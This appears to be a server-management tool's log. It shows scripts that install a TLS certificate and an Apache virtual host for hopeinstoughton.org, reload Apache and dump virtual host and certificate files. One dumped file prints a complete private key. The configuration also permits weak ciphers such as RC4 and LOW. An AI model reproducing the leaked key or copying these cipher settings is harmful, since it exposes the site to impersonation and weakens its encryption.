7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-28 06:00:14: 

chmod 755 /tmp/pkp564644; /tmp/pkp564644; rm /tmp/pkp564644

2026-06-28 06:00:14: 


dir=/etc/ssl/certs


2026-06-28 06:00:15: 

PUT: /tmp/pkp568719

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-28 06:00:15: 

chmod 755 /tmp/pkp568719; /tmp/pkp568719; rm /tmp/pkp568719

2026-06-28 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf 47
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-06-28 06:00:15: 

PUT: /tmp/pkp514708

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_www_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf= 1'
fi


2026-06-28 06:00:15: 

chmod 755 /tmp/pkp514708; /tmp/pkp514708; rm /tmp/pkp514708

2026-06-28 06:00:15: 




2026-06-28 06:00:15: 

PUT: /tmp/pkp827009

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-28 06:00:15: 

chmod 755 /tmp/pkp827009; /tmp/pkp827009; rm /tmp/pkp827009

2026-06-28 06:00:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-28 06:00:15: Establishing a connection
2026-06-28 06:00:15: 

PUT: /tmp/pkp403748

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-28 06:00:15: 

chmod 755 /tmp/pkp403748; /tmp/pkp403748; rm /tmp/pkp403748

2026-06-28 06:00:15: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-28 06:00:15: 

PUT: /tmp/pkp398177

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-28 06:00:15: 

chmod 755 /tmp/pkp398177; /tmp/pkp398177; rm /tmp/pkp398177

2026-06-28 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf	1690
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-06-28 06:00:15: 

PUT: /tmp/pkp719690

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-28 06:00:15: 

chmod 755 /tmp/pkp719690; /tmp/pkp719690; rm /tmp/pkp719690

2026-06-28 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt	7461
89:c0:ca:4f:99:db:9a:e1:42:bc:df:8d:cb:0b:b9:7b

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBXReoG7wqUDxNiqliDbFygclMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI4MDUwMTQzWhcNMjYwOTI2MDUwMTQyWjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAyGDZPRTKjApLtBG8PmMzlq8bZdWwD7dmWtfaGeAfTN/95pmsX+BD2RFC
w2pZ3/FMIpan+6ODXmwz6T2Ai/+cb256h/oInzdOlfKga0MTk+NpJDOsvNvmYeAL
PmVu1HT8loNK8nXAC4BHp0X6dt/xe2ozR2ypJz05D2znIv+4/uW0mu84qZtj1Qj1
iIbs2wldsvejkNgRxPGR4cU3vlQ/qeRNgdO0ARd/CMN2sOp05N5XiUYuNzjwcx1q
nx3eR26IUoUZTqucH2s3Hcu4D3fqju5HkBFquSxDsa9htDWYR/MoksqGv0gPXFdL
TypcuM53uY0Dk0XsGDc9SIeNJkirewIDAQABo4ICOjCCAjYwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FK1npU74O0zd5v6F7JE6Q3RO91LTMB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3W
Mh+BDIEMMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITaG9wZWluc3RvdWdodG9uLm9yZ4IXd3d3
LmhvcGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0f
BCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8zOC5jcmwwggEMBgor
BgEEAdZ5AgQCBIH9BIH6APgAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa
2Q5SzQAAAZ8M0GxjAAAEAwBHMEUCIQCyU2HgtJnn6SLdb9Nt6RChFNJmZ2rDNCd3
Qc7KkS3rXgIgKULgOzncRLkP+BqKu2V7zm2T6HXwjQ9dkXJ8KnnLSvQAfgBGr4Y9
Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ8M0G0DAAgAAAUACvjAQgQD
AEcwRQIgMSXeM5CzS6Bp30SKkJW2DGbMHNLtK/Cu5t7EKtS/Co4CIQDnfo1WUj2U
Ekan3IoyW46VAgyrGVoynFc9vf6I9ASp1zANBgkqhkiG9w0BAQsFAAOCAQEAFwOn
eVD75fIQ02kD8asFk2Fi+P4Y1Wu+gYB+D5ynigVNMzNl2ZoS+QoZyVoUVvmcBkTM
nA/KLjpaxpyeqo8zBeREj/qXzhFPP6MxMOxaADMfp0ZkjdLncWmPb+rCXCHGlpcT
QkdD2wLXo6tlNNva6tq7tGGGDMuHYzVaaDAVIZuyECvrZYqZA1XZLQ9arvpzYp1p
ErmH7VUoDxo/TR+3K6DU28pUHdU+4tcXsJkAkyFgPMIhVb0ayjoD9kLl9btrK+Ih
njdvN696HDd6eNf/dGlAadFpuDM0ZE19swawtd0f2Nxh01U61J5QK5iNVZ+/xQEf
dXZUOkluTLzlKX/s9g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDIYNk9FMqMCku0
Ebw+YzOWrxtl1bAPt2Za19oZ4B9M3/3mmaxf4EPZEULDalnf8Uwilqf7o4NebDPp
PYCL/5xvbnqH+gifN06V8qBrQxOT42kkM6y82+Zh4As+ZW7UdPyWg0rydcALgEen
Rfp23/F7ajNHbKknPTkPbOci/7j+5bSa7zipm2PVCPWIhuzbCV2y96OQ2BHE8ZHh
xTe+VD+p5E2B07QBF38Iw3aw6nTk3leJRi43OPBzHWqfHd5HbohShRlOq5wfazcd
y7gPd+qO7keQEWq5LEOxr2G0NZhH8yiSyoa/SA9cV0tPKly4zne5jQOTRewYNz1I
h40mSKt7AgMBAAECggEADfLhUdq01OB8mkmScJyy69OUaoI1x4pNUkKXbgNc5Rrs
pP+1RlapcnQR++Isj9B6K9LlWQ5DaAXL6/nPjS9bN6NEXVs0UXJmApM0GUi/P/rD
MsrJb2Y2w0EiQeg0Dw8hFuXciESr0evOpnV9H4cBsO/Y0lPdR0bVm4jJuEp+mXkg
ABIuF+b6F1Gjm7qH/RsvOXgMlLvpTEj9qwc16V6W6xuf2XKbQxnKbym+QoahTBHt
3bKl6koxlfaPynhYvVqY35X37CL6xNV42deSubNLG04ti5pk1wyyO5nWIGguNnAe
nhtBOwpUBdsblrLos0PuNTiBGvqUbBO/k5HiDGuWCQKBgQD/w/YqcmLhywQ9XfmM
8xFApCfKsYsMMxKYKy0PXTNYU3sENtkcYaljtchkKZybLIqxaxCzuEnxv3CblUb5
uumub2+/sxrAvwS4Sh0/qSQpG3utzPvvcmvYs7+0wdYvQWczlnW+wkjbaAfPqC62
FBhuMRevTapNq6am4RxxsQY70wKBgQDIj+KqkmbK8528dP0TUAW2PVfFOdc6XJy8
YUL4n0Y9kr2NgR8oQ0w9ezRNpd07Gnwl2otaqgXUsSRCskHHDyuNWNjLJdhGuSFy
TiUBtpjEg1I7PdE7VobitAMM0nIK6pCS6hBg30WkClsXoZFzvQ6dPAdnIutTFSh8
7eDft6TQuQKBgQCx0pALEP5Y2Cq5c+X2LmT3WWplDa2MLNInxBUPEpCJP3lPA8dN
aUU5EwEhSqEcbgp7seGp4l5e2ugy88WmCWNBKS87zA20ptpkOvs88J84iWgi/VrI
Lvh2cPq/dOkyb7mN73UrzK6VBS4xHVBkvXIC4tUBx/C5EbfLXMXG8fpQiwKBgA0/
e+B6hTG4v92X+LOS4J22FZsgg/gF8BB9eDgGBVTB4aV8Nvuo3ltdTQon/6IM0NCL
TBM0EeiHvvZs4e1tMhpHGSLqIAwj5HKxeL5ROmwYpJDnN2/s+kH1VBI/wGq6LcyW
i3hqpyX7zSKVeI8lmNaIBZEpfFPjnOYLrIP6lHd5AoGBAIFoRvckOpamGzeAE07G
u968dMIfbuTVfW8qBsUcuJeQ4I2MHiZafwT9SOcdSV5P7kBktObtOPaW0NcNInkv
s5uC8IxQJ85Z+uP7Co82OeeRKMLCqSGZKdAJWBRiWtcn18NR783l5F+Af1MPY/Qq
OGUEK55K8E5Oy+BHKkGyxrdv
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
